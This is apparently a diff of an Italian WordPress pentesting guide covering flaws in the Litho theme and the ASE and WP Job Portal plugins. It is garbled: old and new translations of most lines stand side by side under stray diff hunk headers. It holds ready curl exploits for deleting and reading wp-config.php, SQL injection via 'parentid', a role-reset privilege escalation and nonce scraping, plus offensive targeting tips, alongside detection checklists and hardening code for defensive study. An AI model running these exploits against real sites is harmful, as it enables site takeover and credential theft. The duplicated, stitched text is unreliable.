3. **Sanitizzazione/validazione rigorosa dell'input**.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il codice seguente (semplificato):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -398,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemi introdotti da questo frammento:
Problemi introdotti da questo snippet:
* **Accesso non autenticato** il hook `wp_ajax_nopriv_` è registrato.
* **Nessun controllo nonce / capacità** qualsiasi visitatore può colpire l'endpoint.
* **Nessuna sanificazione del percorso** la stringa `fontfamily` controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, consentendo la classica traversata `../../`.
* **Accesso non autenticato** l'hook `wp_ajax_nopriv_` è registrato.
* **Nessun controllo di nonce / capability** qualsiasi visitatore può chiamare l'endpoint.
* **Nessuna sanitizzazione del path** la stringa `fontfamily` controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`.
#### Sfruttamento
Un attaccante può eliminare qualsiasi file o directory **sotto la directory base degli upload** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
Un attaccante può cancellare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Eliminare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti su un'installazione di default. Eliminare `wp-config.php` forza WordPress nella *procedura guidata di installazione* alla visita successiva, consentendo la completa compromissione del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente amministratore).
Altri obiettivi impattanti includono file `.php` di plugin/tema (per compromettere i plugin di sicurezza) o regole `.htaccess`.
Altri target impattanti includono file plugin/theme `.php` (per compromettere plugin di sicurezza) o regole `.htaccess`.
#### Checklist di rilevamento
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
* Concatenazione di input utente non sanitizzati nei percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
* Concatenazione di input utente non sanificato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
#### Hardening
#### Rafforzamento
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Tratta sempre** qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e controlla due volte:
> • Autenticazione • Autorizzazione • Nonce • Sanitizzazione dell'input • Contenimento del percorso (ad es. tramite `realpath()` più `str_starts_with()`).
> **Sempre** considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e ricontrolla:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Escalation dei privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "Visualizza Admin come Ruolo")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Molti plugin implementano una funzione "visualizza come ruolo" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali nei meta utente in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (ad es., `$_REQUEST['reset-for']`) e su un elenco mantenuto dal plugin senza controllare le capacità e un nonce valido, questo diventa un'escalation verticale dei privilegi.
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali in user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa solo su request parameters (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza controllare le capability e un nonce valido, questo diventa una vertical privilege escalation.
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di ripristino ripristinava i ruoli basati su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati dai meta utente `_asenha_view_admin_as_original_roles`:
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati in user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -469,16 +514,16 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
Perché è sfruttabile
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e è stato declassato, può ripristinarli accedendo al percorso di reset.
- In alcune implementazioni, qualsiasi utente autenticato potrebbe attivare un reset per un altro nome utente ancora presente in `viewing_admin_as_role_are` (autorizzazione compromessa).
- Se un utente aveva in precedenza privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli colpendo il percorso di reset.
- In alcune implementazioni, qualsiasi authenticated user potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non valida).
Prerequisiti per l'attacco
Attack prerequisites
- Versione vulnerabile del plugin con la funzione abilitata.
- L'account target ha un ruolo di alta privilegio obsoleto memorizzato nei meta utente da un uso precedente.
- Qualsiasi sessione autenticata; nonce/capacità mancanti nel flusso di reset.
- Vulnerable plugin version with the feature enabled.
- Target account has a stale high-privilege role stored in user meta from earlier use.
- Any authenticated session; missing nonce/capability on the reset flow.
Sfruttamento (esempio)
Exploitation (example)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -486,60 +531,76 @@ Sfruttamento (esempio)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Su build vulnerabili, questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (ad es., `administrator`), aumentando effettivamente i privilegi.
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., `administrator`), aumentando di fatto i privilegi.
Checklist di rilevamento
Detection checklist
- Cerca funzionalità di cambio ruolo che persistono “ruoli originali” nei meta utente (ad es., `_asenha_view_admin_as_original_roles`).
- Identifica percorsi di reset/ripristino che:
- Leggono i nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizzano in base a un array di opzioni del plugin (ad es., `viewing_admin_as_role_are`) invece delle capacità dell'attore.
- Cerca funzionalità di cambio ruolo che persistono lo stato dei “ruoli originali” nei user meta (e.g., `_asenha_view_admin_as_original_roles`).
- Individua i percorsi di reset/restore che:
- Leggono nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizzano basandosi su un array di opzioni del plugin (e.g., `viewing_admin_as_role_are`) invece che sulle capacità dellattore.
Rinforzo
Mitigazioni
- Applica controlli di capacità su ogni ramo che modifica lo stato (ad es., `current_user_can('manage_options')` o più rigoroso).
- Richiedi nonce per tutte le mutazioni di ruolo/permissi e verifiche: `check_admin_referer()` / `wp_verify_nonce()`.
- Non fidarti mai dei nomi utente forniti nella richiesta; risolvi l'utente target lato server in base all'attore autenticato e a una politica esplicita.
- Invalida lo stato dei “ruoli originali” durante gli aggiornamenti del profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
- Applica controlli delle capability in ogni ramo che modifica lo stato (e.g., `current_user_can('manage_options')` o più restrittivo).
- Richiedi nonces per tutte le modifiche di ruoli/permessi e verificale: `check_admin_referer()` / `wp_verify_nonce()`.
- Non fidarti mai dei nomi utente provenienti dalla richiesta; determina l'utente target server-side basandoti sullattore autenticato e su una policy esplicita.
- Invalida lo stato dei “ruoli originali” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Considera di memorizzare uno stato minimo e di utilizzare token temporanei con capacità limitate per passaggi di ruolo temporanei.
- Considera di memorizzare lo stato minimo e di usare token limitati nel tempo e protetti da capability per cambi temporanei di ruolo.
---
## Protezione di WordPress
### Considerazioni sul WAF per CVE di WordPress/plugin
### Aggiornamenti Regolari
I WAF generici a livello edge/server sono tarati su pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logic/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
Note offensive
- Mirare a endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Testare prima i percorsi non autenticati (AJAX `nopriv`, REST con `permission_callback` permissivo, shortcodes pubblici). I payload di default spesso riescono senza offuscamento.
- Casi tipici ad alto impatto: escalation di privilegi (controllo accessi rotto), upload/download arbitrario di file, LFI, open redirect.
Note difensive
- Non affidarsi alle signature WAF generiche per proteggere le CVE dei plugin. Implementare patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiornare rapidamente.
- Preferire controlli di sicurezza a approccio positivo nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
## Protezione WordPress
### Aggiornamenti regolari
Assicurarsi che WordPress, i plugin e i temi siano aggiornati. Confermare inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Also, **installa solo plugin e temi WordPress affidabili**.
Inoltre, **installa solo plugin e temi WordPress affidabili**.
### Plugin di Sicurezza
### Security Plugins
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Altre Raccomandazioni**
### **Other Recommendations**
- Rimuovi l'utente **admin** predefinito
- Usa **password forti** e **2FA**
- **Rivedi** periodicamente i permessi degli utenti
- **Limita i tentativi di accesso** per prevenire attacchi di Brute Force
- Rimuovi l'utente predefinito **admin**
- Usa **password robuste** e **2FA**
- Revisiona periodicamente i **permessi** degli **utenti**
- **Limita i tentativi di login** per prevenire attacchi Brute Force
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin di reclutamento WP Job Portal ha esposto un'attività **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
### Unauthenticated SQL Injection tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin WP Job Portal per il reclutamento esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -549,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Problemi introdotti da questo frammento:
Problemi introdotti da questo snippet:
1. **Input utente non sanitizzato** `parentid` proviene direttamente dalla richiesta HTTP.
2. **Concatenazione di stringhe all'interno della clausola WHERE** nessun `is_numeric()` / `esc_sql()` / dichiarazione preparata.
3. **Accessibilità non autenticata** anche se l'azione viene eseguita tramite `admin-post.php`, l'unico controllo presente è un **nonce CSRF** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
1. **Unsanitised user input** `parentid` proviene direttamente dalla richiesta HTTP.
2. **String concatenation inside the WHERE clause** assenza di `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
#### Sfruttamento
#### Exploitation
1. Ottieni un nonce fresco:
1. Recupera un nonce valido:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Inietta SQL arbitrario abusando di `parentid`:
2. Inietta SQL arbitrario sfruttando `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -569,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La risposta rivela il risultato della query iniettata o altera il database, dimostrando SQLi.
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la presenza di SQLi.
### Download di file arbitrari non autenticati / Traversata di percorso (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Un'altra attività, **downloadcustomfile**, consentiva ai visitatori di scaricare **qualsiasi file su disco** tramite traversata di percorso. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina di riepilogo.
`$file_name` è attacker-controlled e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina del curriculum.
#### Sfruttamento
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -591,7 +652,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Il server risponde con i contenuti di `wp-config.php`, rivelando le credenziali del DB e le chiavi di autenticazione.
Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials and auth keys.
## Riferimenti
@ -599,5 +660,8 @@ Il server risponde con i contenuti di `wp-config.php`, rivelando le credenziali
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}